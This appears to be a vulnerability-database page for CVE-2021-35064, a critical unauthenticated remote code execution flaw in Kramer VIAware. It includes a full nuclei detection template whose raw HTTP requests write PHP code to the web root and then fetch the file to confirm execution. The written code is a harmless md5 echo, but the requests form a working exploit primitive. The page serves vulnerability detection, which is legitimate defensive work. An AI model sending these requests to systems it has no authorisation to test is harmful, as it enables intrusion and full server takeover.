Browse / CVEs / CVE-2021-35064
CVE-2021-35064· kramerav / viaware· CWE-269
Kramer VIAware - Privilege Escalation and Remote Code Execution
Kramer VIAware, all tested versions, allow privilege escalation and remote code execution due to misconfigured sudo permissions. Attackers can execute arbitrary system commands remotely if the web interface is accessible, due to vulnerabilities in the handling of privileged operations through ajaxPages/writeBrowseFilePathAjax.php and improper sudoers configurations.
Impact
Unauthenticated attackers can execute arbitrary PHP code via file upload, leading to complete server compromise and control over the Kramer VIAware system.
Fix
Apply the latest firmware update provided by Kramer to fix misconfigured sudoers permissions and ensure proper validation in the web interface.
How to confirm it
Send: POST /ajaxPages/writeBrowseFilePathAjax.php ; GET /{{randstr}}.php
Positive when: contains in body_2 "44f63b292601ec4ab0d8c3244c9f5ebe"Run it with nuclei: nuclei -id CVE-2021-35064 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2021-35064
info:
name: Kramer VIAware - Privilege Escalation and Remote Code Execution
author: ritikchaddha
severity: critical
description: |
Kramer VIAware, all tested versions, allow privilege escalation and remote code execution due to misconfigured sudo permissions. Attackers can execute arbitrary system commands remotely if the web interface is accessible, due to vulnerabilities in the handling of privileged operations through ajaxPages/writeBrowseFilePathAjax.php and improper sudoers configurations.
impact: |
Unauthenticated attackers can execute arbitrary PHP code via file upload, leading to complete server compromise and control over the Kramer VIAware system.
remediation: |
Apply the latest firmware update provided by Kramer to fix misconfigured sudoers permissions and ensure proper validation in the web interface.
reference:
- http://packetstormsecurity.com/files/166623/Kramer-VIAware-Remote-Code-Execution.html
- https://www.kramerav.com/us/product/viaware
- https://www.exploit-db.com/exploits/50856
- https://write-up.github.io/kramerav/
- https://nvd.nist.gov/vuln/detail/CVE-2021-35064
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-35064
cwe-id: CWE-269
epss-score: 0.70753
epss-percentile: 0.99402
cpe: cpe:2.3:a:kramerav:viaware:*:*:*:*:*:*:*:*
metadata:
max-request: 2
vendor: kramerav
product: viaware
fofa-query: icon_hash="1521468900"
tags: cve2021,cve,viaware,kramer,edb,rce,intrusive,kramerav,vkev,vuln
variables:
useragent: "{{rand_base(6)}}"
http:
- raw:
- |
POST /ajaxPages/writeBrowseFilePathAjax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
radioBtnVal=%3C%3Fphp+echo+md5%28%22CVE-2021-35064%22%29%3B+%3F%3E&associateFileName=%2Fvar%2Fwww%2Fhtml%2F{{randstr}}.php
- |
GET /{{randstr}}.php HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
part: body_2
words:
- "44f63b292601ec4ab0d8c3244c9f5ebe"References
- http://packetstormsecurity.com/files/166623/Kramer-VIAware-Remote-Code-Execution.html
- https://www.kramerav.com/us/product/viaware
- https://www.exploit-db.com/exploits/50856
- https://write-up.github.io/kramerav/
- https://nvd.nist.gov/vuln/detail/CVE-2021-35064
Use this check only on systems you are authorised to test. Where the data comes from